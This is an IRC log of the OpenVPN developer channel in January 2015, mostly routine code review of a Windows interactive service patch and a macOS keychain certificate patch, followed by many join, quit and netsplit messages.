<@cron2> but that stuff is really quite modularized, so even if it were buggy (of course we assume its perfect) it will not affect non-windows builds or even windows without service handle 14:23 <@mattock> windows without service handle = ? 14:23 <@syzzer> yeah, I want to at least have it running, and figure out how the permission stuff is working, but otherwise I'd actually vote to just get it in and improve it along the way if needed 14:24 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 14:24 <@mattock> if we merge it into "master" then nobody will see it in practice until 2.4 release 14:24 <@mattock> and I can start building "master" snapshot for Windows, which will include the interactive service 14:25 <@syzzer> yes, that :) 14:25 <@mattock> meaning we get some amount of live testing before the actual 2.4 release 14:25 <@cron2> mattock: "classic windows - gui, no interactive service" 14:25 <@mattock> cron2: ok 14:25 <@mattock> how does one activate the interactive service? 14:26 <@cron2> hehe 14:26 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 265 seconds] 14:26 <@cron2> I was just typing "some installer work will be needed to cover the service" :) 14:26 <@mattock> achso 14:26 <@mattock> "some" = "tons"? :P 14:26 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 14:26 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 14:26 <@mattock> some is no problem 14:28 <@d12fk> mattock: only thing is you have to start the interactive service instead of the classic one 14:28 <@d12fk> installation is done by the current command 14:28 <@d12fk> it the two services in one binary 14:28 <@d12fk> when the interactive one is started it is used by the gui 14:28 <@d12fk> if not, not 14:29 <@syzzer> but how do I start it? how do I know what to pass to --msg-channel? 14:29 <@mattock> is the currently available GUI patched for interactive service? 14:29 <@d12fk> mattock: yes 14:29 <@mattock> nice! 14:29 <@d12fk> syzzer: just start it and the gui will take care, the service itself will pass the respective option to openvpn 14:30 <@cron2> d12fk: in tun.c, do_address_service(), AF_INET - this confuses me a bit, why is netbits always 32? 14:30 <@syzzer> d12fk: ah, good. so I need to figure out how to build the gui then :p 14:30 <@syzzer> d12fk: could you maybe add --msg-channel to the man page, and the option descriptions in options.c ? 14:31 <@d12fk> cron2: because this one sets the adapter address 14:32 <@cron2> d12fk: how is the subnet mask set? 14:32 <@mattock> syzzer: you can build the gui with openvpn-build, if you have that setup 14:32 <@d12fk> syzzer: should be document it there? it's nothing users really use 14:32 * cron2 can't find the call to do_address_service() for AF_INET anyway 14:34 <@d12fk> cron2: ah subnet mode probably didnt have that on my screen while writing the code 14:35 <@syzzer> d12fk: you do have a point there, but I think it should be documented somewhere 14:35 <@cron2> d12fk: I could argue that on windows, there is nothing but subnet mode :) 14:35 <@cron2> d12fk: seems the "set ipv4 address + netmask" bits are not there yet :-) - relying on DHCP always 14:36 <@d12fk> it's on my list now anyways 14:36 <@cron2> thanks 14:37 * cron2 has not looked at the changes to the service yet, but the other changes to the openvpn src tree look good to me - so "ACK with the discussed changes" :-) 14:38 <@d12fk> i'll commit the canges to the repo, do you insist on one single commit while reviewing 14:38 <@mattock> so the consensus is: "common bits with proposed modifications -> ACK" 14:38 <@mattock> and also "merge into master and improve if bugs are found"? 14:38 <@d12fk> i think we should not merge into master yet 14:39 <@d12fk> if you need to build i can rebase to master until the feature is totally acked 14:39 <@d12fk> but then your clone breaks of course 14:39 <@mattock> ah, ok, so it does not even merge cleanly at this point 14:40 <@d12fk> it might 14:40 <@cron2> d12fk: for reviewing the impact on existing openvpn code, actually a single commit would be good (because otherwise we have one commit adding tons of *o and then another getting rid of them again) 14:40 <@d12fk> think i based it on a recent commit before our meeting 14:41 <@d12fk> well for that we can produce a single one when we're satisfied with the branch 14:41 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 14:41 -!- mode/#openvpn-devel [+o pekster] by ChanServ 14:41 <@syzzer> I did not had much issues when applying iirc 14:41 <@syzzer> I have a version based on master in my tree, which I could publish to github if that makes sense 14:41 <@cron2> chances are good that it will merge nicely as we didn't change anything in route.* or tun.* recently 14:43 <@d12fk> i think the way options are passed to the service could use some eyeballs 14:43 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 14:43 <@cron2> d12fk: we could use a primer on how this works in general, and what to look for :) 14:43 <@d12fk> cureently it's a \0 terminated list due to lack of other ideas 14:43 * cron2 has NO ideas how windows services work 14:44 <@d12fk> that's not the interesting part really. once it runs it listens for commands on a named pipe 14:45 <@d12fk> so for reviewing the actual worker code knowledge of threads, asyc IO and IPC are needed rather 14:46 <@d12fk> so everything in interactive.c is rather service agnostic code 14:46 <@d12fk> do we support XP in 2.4? 14:47 <@cron2> not with the iservice 14:47 <@syzzer> d12fk: I think we settles for now, because it would lead to nasty code in the interactive service 14:47 <@cron2> XP users can run gui+openvpn.exe without service 14:47 <@syzzer> *settled for no 14:47 <@mattock> maybe we should get James to review the worker code? 14:47 <@mattock> next week or so maybe 14:48 * cron2 has no time next week, but as I'm not a windows/thread/... expert, don't let that stop you? 14:50 <@syzzer> I have time next week, but my calender it quite full, so I might not find the time to look into it further before then 14:50 <@mattock> I'll ask James if he could attend next Monday 14:50 <@mattock> d12fk: what about you? 14:51 <@d12fk> problem is that the service will not even start if there are symbols linked that XP doesn't have 14:51 <@d12fk> mattock: should work out for me 14:51 <@mattock> d12fk: ok 14:51 <@syzzer> d12fk: but the service is not needed for the gui to work, right/ 14:52 <@cron2> d12fk: "we don't care". If someone insists on using service+xp, they can use 2.3 14:52 <@d12fk> nope, but if the installer tries to start it... 14:52 <@mattock> cron2: +1 14:52 <@d12fk> then the installer need to check if XP and not start/install the service there 14:52 <@cron2> (or use the other service alternative that was just proposed, which actually seems to work more robust anyway) 14:52 <@mattock> winxp has been obsolete for a while, and 2.3 will still work 14:52 <@syzzer> I guess the installer should just not install the service on XP 14:52 <@cron2> XP -> old tap driver, no service 14:53 <@d12fk> ok 14:53 <@mattock> another good point 14:53 <@cron2> Vista and up -> new tap driver, new service 14:53 <@d12fk> i'll remove the XP cruft then 14:53 <@mattock> let's forget about Windows XP for 2.4 14:53 <@cron2> +1 14:53 <@syzzer> ack 14:53 <@d12fk> in XP you don't need the servie anyway 14:53 <@cron2> it will not be a major loss anyway, as XP has no privilege separation anyway 14:53 <@cron2> what he said :) 14:54 <@d12fk> =) 14:54 <@d12fk> ok i'll drop out then 14:54 <@cron2> good night :) 14:54 <@cron2> (I 14:54 <@d12fk> cu next monday latest 14:54 <@cron2> I'll be sitting in a bus next monday, let's see how good their Internet works! 14:54 <@mattock> good night guys! 14:54 <@syzzer> good night! 14:54 <@d12fk> night 14:56 < segoon> now http://thread.gmane.org/gmane.network.openvpn.devel/9392 i guess :) 14:56 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:56 <@syzzer> yes, let's review that too :p 14:58 <@syzzer> segoon: you've been hiding good until now 14:58 <@syzzer> just to make sure - you are the author, right? 14:58 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 264 seconds] 14:58 < segoon> yep 14:58 <@syzzer> I'm not sure if plaisthos is still around 15:00 < segoon> uh, stupid mistake 15:01 < segoon> I returned from afk when 1st question was discussed, didn't want to break it 15:01 <@plaisthos> oh sorry 15:01 <@plaisthos> was afk 15:01 <@syzzer> segoon: yeah, that first question took a bit longer than expected... 15:02 <@mattock> segoon: the first topic was a bit heavy 15:04 -!- trispace [~trispace@unaffiliated/trispace] has quit [Remote host closed the connection] 15:04 <@mattock> it's possible that the same will happen next week when the worker code is reviewed 15:04 <@mattock> we might want to consider reviewing the macos x patch first the next time 15:05 < segoon> yeah, it would be great :) FWIW, it is 00:04 MSK ;-) 15:05 <@cron2> moscow? 15:05 <@mattock> it's 23:05 here 15:05 <@cron2> 22:05 here, but kids will be up early :) 15:05 < segoon> yes, Moscow 15:06 <@mattock> summary sent 15:06 <@cron2> yeah... good night, have a good week :) 15:06 <@mattock> macos x patch first next week, will ask if James can attend 15:07 * cron2 likes the general idea of the new osx patch 15:07 <@cron2> little new code in openvpn, and that is all generically useful 15:08 < segoon> i'm not sure which CMD should be used for external cert passing 15:08 < segoon> current approach is a bit hackish, that's why I had to increase several limits 15:08 <@cron2> now that is something James will surely have an idea :) 15:08 * syzzer likes the general idea too 15:08 <@syzzer> yeah, I was wondering about this one: 15:08 <@syzzer> -# define USER_PASS_LEN 128 15:08 <@syzzer> +# define USER_PASS_LEN 12800 15:08 <@syzzer> \ 15:09 < segoon> something like rsa_sign CMD using multiple lines would be better IMHO 15:09 < segoon> and it could move all formatting logic out of openvpn, making the patch even more simple for openvpn :) 15:10 -!- roentgen_ [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 15:11 -!- mode/#openvpn-devel [+v roentgen_] by ChanServ 15:14 -!- Netsplit *.net <-> *.split quits: +roentgen 15:14 < segoon> syzzer: sorry, missed your question 15:14 < segoon> that's because currently cert is base64 encrypted and passed as a password 15:14 < segoon> in a single line 15:15 <@syzzer> ah, right, I suddenly remember 'everything' in management.c being usename/password structs 15:15 < segoon> 12800 is an arbitrary number 15:16 -!- mattock is now known as mattock_afk 15:16 <@syzzer> I'm looking at cert_to_pem() now, but it's a bit hard to see whether that can cross any bounds 15:17 < segoon> no, the overflow is in call to management_query_user_pass() from (), before call to () 15:18 < segoon> sorry, from management_query_cert() before call to cert_to_pem() 15:18 < segoon> I had to increase several numbers, otherwise the certificate is truncated 15:19 <@plaisthos> segoon: rsa_sign is not that big it is a base64 encoded pkcs1/ecb signed 256bit hash 15:19 <@plaisthos> err @syzzer 15:20 < segoon> rsa_sign also can receive base64 encoded string divided into several lines 15:20 <@plaisthos> yeah but it is still a rather short string 15:21 < segoon> yep 15:26 <@syzzer> segoon: I'll look into the openvpn parts a bit better at a later time :) 15:26 <@syzzer> I'll leave the osx-specific stuff for the people that actually have osx 15:27 < segoon> osx part is almost the same 15:27 < segoon> only error handling now uses fprintf(stderr, ...) instead of msg() 15:27 < segoon> also keychain.c is fully killed 15:29 < segoon> (it contained RSA_METHOD stuff) 15:30 <@syzzer> have you tried whether this does tls 1.2? 15:30 < segoon> no 15:30 < segoon> what should differ? 15:30 <@syzzer> i ask, since our current cryptoapi implementation has issues with tls 1.2 signatures 15:31 <@syzzer> tls 1.0 and 1.1 use a fixed type of sha1+md5 hash 15:31 < segoon> hmm, IIRC now the patch has nothing similar with CryptoAPI, keychain.c was based on it, but now it is gone 15:31 <@syzzer> new tls 1.2 cipher suites can use other (longer) hashes, which can cause assumptions to fail 15:32 <@syzzer> no, I didn't look at the code, but was curious 15:32 <@syzzer> could very well work 15:33 < segoon> a longer hash shouldn't break max line length assumption as it is increased for cert passing :-) 15:35 <@syzzer> the windows code expects a fixed-length hash, and just fails when it gets something else 15:35 <@syzzer> so that won't go beyond tls 1.1 for now :( 15:37 < segoon> if (flen != SSL_SIG_LENGTH) { 15:37 < segoon> (cryptoapi.c) 15:37 < segoon> no, I have no such check, any flen should work for keychain 15:38 < segoon> the code uses a rather simple call chain: handle_rsasign() -> signData() -> SecKeyRawSign() 15:39 < segoon> it should be universal 15:45 < segoon> any more questions? 15:45 < segoon> maybe potential pitfalls which I should check? 15:45 * segoon wrote TLS 1.2 testing into TODO 15:52 < segoon> syzzer: are you online? 15:56 <@syzzer> sorry, was afk 15:56 <@syzzer> segoon: that looks a lot more sane then the crypto api 16:00 <@syzzer> I'll be going afk for real now, good night! 16:00 < segoon> okay, then will wait next meeting 16:01 < segoon> syzzer: good night 16:01 -!- segoon [~vasya@ppp83-237-12-200.pppoe.mtu-net.ru] has quit [Quit: WeeChat 0.3.7] 20:13 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Remote host closed the connection] 20:25 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel --- Day changed Tue Jan 13 2015 00:24 -!- mattock_afk is now known as mattock 00:50 -!- mattock is now known as mattock_afk 01:28 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 245 seconds] 01:32 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 01:33 -!- mattock_afk is now known as mattock 02:36 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 02:37 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:06 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 03:42 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 244 seconds] 03:56 <@plaisthos> syzzer, segoon: rsa-sig works with tls 1.2 and rsa certificates 03:56 <@plaisthos> it probably breaks with ec 04:23 <@syzzer> plaisthos: I expect the mechanism to work just fine with EC 04:23 <@syzzer> it just says 'gimme signature', basically. 04:24 <@syzzer> it's the code at the other side that has to be capable of handling EC certs/keys 04:24 <@syzzer> (iirc, I did not look at the code) 04:29 <@plaisthos> syzzer: it uses rsa_method, so probably not 07:38 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 07:38 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 07:38 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 09:40 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 09:41 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 11:34 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 11:34 -!- mode/#openvpn-devel [+o andj] by ChanServ 15:10 -!- mattock is now known as mattock_afk 15:32 -!- Netsplit *.net <-> *.split quits: @cron2, +novaflash, @vpnHelper, floppym, riddle 15:34 -!- Netsplit *.net <-> *.split quits: @dazo_afk 15:34 -!- Netsplit over, joins: +novaflash, riddle, @vpnHelper, @dazo_afk, @cron2, floppym 15:36 -!- Netsplit *.net <-> *.split quits: shivanshu 15:37 -!- Netsplit over, joins: shivanshu 15:43 -!- Netsplit *.net <-> *.split quits: EvilJStoker, @mattock_afk 15:43 -!- Netsplit over, joins: @mattock_afk, EvilJStoker 15:46 -!- Netsplit *.net <-> *.split quits: @raidz, riddle, lev__, +roentgen_, EvilJStoker, shivanshu, ender|, @mattock_afk, @cron2, @pekster, (+6 more, use /NETSPLIT to show all of them) 15:51 -!- Netsplit over, joins: @mattock_afk, EvilJStoker, shivanshu, @dazo_afk, floppym, @vpnHelper, riddle, @cron2, +novaflash, @andj (+5 more) 15:51 -!- esde [~esde@unaffiliated/esde] has quit [Max SendQ exceeded] 15:53 -!- Netsplit *.net <-> *.split quits: @pekster 15:53 -!- Netsplit over, joins: @pekster 15:54 -!- esde [~esde@unaffiliated/esde] has joined #openvpn-devel 15:54 -!- Netsplit *.net <-> *.split quits: ender|, Haigha 15:54 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:54 -!- ServerMode/#openvpn-devel [+o raidz] by sendak.freenode.net 15:54 -!- Netsplit over, joins: Haigha, ender| 15:55 -!- Netsplit *.net <-> *.split quits: @andj, lev__, +roentgen_ 15:59 -!- Netsplit over, joins: +roentgen_, lev__, @andj 16:03 -!- Netsplit *.net <-> *.split quits: +roentgen_, @pekster, Haigha, @andj, ender|, lev__ 16:04 -!- Netsplit *.net <-> *.split quits: @raidz, EvilJStoker, @mattock_afk 16:04 -!- Netsplit *.net <-> *.split quits: shivanshu 16:05 -!- Netsplit *.net <-> *.split quits: +novaflash, riddle, esde, @cron2, @vpnHelper, floppym, @dazo_afk 16:06 -!- Netsplit over, joins: lev__, +roentgen_, ender|, Haigha, esde, @raidz, @pekster, @mattock_afk, shivanshu, @dazo_afk (+7 more) 16:09 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 241 seconds] 16:11 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 16:12 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 16:44 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 16:48 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 16:48 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 18:09 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 264 seconds] 18:09 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 19:09 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 19:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 19:10 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 19:30 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 19:33 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 19:33 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 20:43 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 20:44 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 20:48 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 265 seconds] 20:52 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 20:53 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 20:59 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 20:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:15 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 21:15 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 21:25 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 21:25 -!- mode/#openvpn-devel [+o pekster] by ChanServ 21:27 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 21:30 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 21:30 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 21:43 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 21:49 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 21:49 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 21:50 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: Reconnecting] 21:51 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 21:51 -!- mode/#openvpn-devel [+o pekster] by ChanServ 22:02 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 22:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:10 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 22:23 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 22:24 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:25 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 22:42 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 22:45 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:45 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 22:57 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 23:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 23:00 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 23:14 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 23:15 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 23:15 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 23:42 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 23:43 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 23:43 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Wed Jan 14 2015 00:56 -!- mattock_afk is now known as mattock 00:58 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 01:06 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 01:06 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 01:19 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 01:29 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 01:29 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 02:31 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 02:34 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:35 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 02:46 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 02:47 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:47 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 03:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 03:04 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:05 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:37 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 04:42 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:42 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 09:14 -!- esde [~esde@unaffiliated/esde] has quit [Changing host] 09:14 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 12:28 <@ecrist> syzzer needs a new network connection 14:49 -!- mattock is now known as mattock_afk 15:19 -!- You're now known as resource 16:46 <@syzzer> oh, was I reconnecting? I think I actually need decent IPv6, my tunnel is quite instable lately :( 17:23 <@syzzer> aargh, the more I look at #480, the more I believe our current init order is wrong :( 17:25 <@syzzer> but changing it would have serious consequences, so that is not really an option either 17:25 <@syzzer> so, all that is left is ugly hacks... 21:59 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 22:01 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:01 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 23:10 <@vpnHelper> RSS Update - tickets: #502: SSL3_GET_RECORD:bad decompression <https://community.openvpn.net/openvpn/ticket/502> --- Day changed Thu Jan 15 2015 00:52 -!- mattock_afk is now known as mattock 02:24 -!- ampsix [uid26275@gateway/web/irccloud.com/x-kjteoloyvxcjmfup] has joined #openvpn-devel 04:21 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 04:51 <@cron2> mattock: could you tell trac that 2.3.6 exists as "version" for opening bugs against? ;-) 05:21 -!- ampsix is now known as `^-_-^` 07:58 <@mattock> cron2: done 07:59 <@plaisthos> hm 07:59 <@plaisthos> How to make yourself unkickable 07:59 <@plaisthos> chosse a nick poeple with textclients cannot even tab ;) 08:03 -!- `^-_-^` [uid26275@gateway/web/irccloud.com/x-kjteoloyvxcjmfup] has quit [Quit: Connection closed for inactivity] 08:12 -!- You're now known as ecrist 09:03 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Quit: No Ping reply in 180 seconds.] 09:05 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 12:01 -!- You're now known as f^cking-moron 12:01 -!- You're now known as ecrist 12:43 -!- `^-_-^` [uid26275@gateway/web/irccloud.com/x-ilapitckhanvcdbw] has joined #openvpn-devel 14:31 <@vpnHelper> RSS Update - tickets: #503: iOS app sending OCC_EXIT, server process terminated <https://community.openvpn.net/openvpn/ticket/503> 15:50 <@cron2> the openvpn forum confuses me. Why can I *see* posts that are marked as "waiting for approval", but not quote them? 16:24 -!- `^-_-^` is now known as ampsix 16:24 -!- ampsix [uid26275@gateway/web/irccloud.com/x-ilapitckhanvcdbw] has quit [Changing host] 16:24 -!- ampsix [uid26275@unaffiliated/ampsix] has joined #openvpn-devel 16:24 -!- ampsix [uid26275@unaffiliated/ampsix] has quit [Changing host] 16:24 -!- ampsix [uid26275@gateway/web/irccloud.com/x-ilapitckhanvcdbw] has joined #openvpn-devel --- Log closed Thu Jan 15 16:46:44 2015 --- Log opened Thu Jan 15 16:46:58 2015 16:46 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 16:46 -!- Irssi: #openvpn-devel: Total of 25 nicks [11 ops, 0 halfops, 3 voices, 11 normal] 16:46 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 16:47 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services] 16:47 -!- Irssi: Join to #openvpn-devel was synced in 43 secs 16:47 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 16:50 -!- shivanshu_ [~shivanshu@104.131.8.15] has joined #openvpn-devel 16:52 -!- Netsplit *.net <-> *.split quits: @cron2, +novaflash, _bt, @vpnHelper, floppym 16:52 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 16:52 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 16:52 -!- Netsplit *.net <-> *.split quits: shivanshu 16:52 -!- shivanshu_ is now known as shivanshu 16:52 -!- Netsplit *.net <-> *.split quits: @dazo_afk 16:53 -!- Netsplit over, joins: @vpnHelper, +novaflash 16:54 -!- Netsplit *.net <-> *.split quits: @pekster, @plaisthos, +krzee, @d12fk, @ecrist 16:54 -!- _bt_ [~bt@mongs.yotm.com] has joined #openvpn-devel 16:55 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 16:55 -!- mode/#openvpn-devel [+o andj__] by ChanServ 16:55 -!- Netsplit *.net <-> *.split quits: +roentgen_, @andj, lev__ 16:55 -!- andj__ is now known as andj 16:58 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:58 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 16:58 -!- dazo_afk is now known as dazo 17:01 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 272 seconds] 17:02 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 264 seconds] 17:02 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 17:03 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 17:05 -!- Netsplit *.net <-> *.split quits: @vpnHelper, esde, _bt_, +novaflash 17:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ 17:05 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 17:05 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:05 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 17:05 -!- ServerMode/#openvpn-devel [+ovo pekster krzee plaisthos] by sinisalo.freenode.net 17:07 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 17:08 -!- Netsplit *.net <-> *.split quits: @andj, @raidz 17:13 -!- esde [~esde@where.is.thatmobileitguy.com] has joined #openvpn-devel 17:13 -!- _bt_ [~bt@mongs.yotm.com] has joined #openvpn-devel 17:13 -!- andj [~adriaan@535431D7.cm-6-5a.dynamic.ziggo.nl] has joined #openvpn-devel 17:13 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 17:13 -!- raidz [~raidz@raidz.im] has joined #openvpn-devel 17:13 -!- esde [~esde@where.is.thatmobileitguy.com] has quit [Changing host] 17:13 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 17:13 -!- 7JTAB3J4F [~lev@stipakov.fi] has joined #openvpn-devel 17:13 -!- novaflash [~novaflash@its.novaflash.nl] has joined #openvpn-devel 17:14 -!- raidz [~raidz@raidz.im] has quit [Changing host] 17:14 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:14 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:14 -!- andj [~adriaan@535431D7.cm-6-5a.dynamic.ziggo.nl] has quit [Changing host] 17:14 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 17:14 -!- mode/#openvpn-devel [+o andj] by ChanServ 17:27 -!- ampsix [uid26275@gateway/web/irccloud.com/x-ilapitckhanvcdbw] has quit [] 17:43 -!- shivanshu [~shivanshu@104.131.8.15] has quit [Read error: Connection reset by peer] 23:44 -!- novaflash [~novaflash@its.novaflash.nl] has quit [Changing host] 23:44 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 23:44 -!- mode/#openvpn-devel [+v novaflash] by ChanServ --- Day changed Fri Jan 16 2015 02:35 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:35 -!- mode/#openvpn-devel [+o cron2] by ChanServ 03:29 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 03:29 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 03:50 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 04:33 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 04:33 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 04:33 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:00 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 05:03 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:03 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:05 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 05:05 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 06:56 <@mattock> added a new FAQ item: 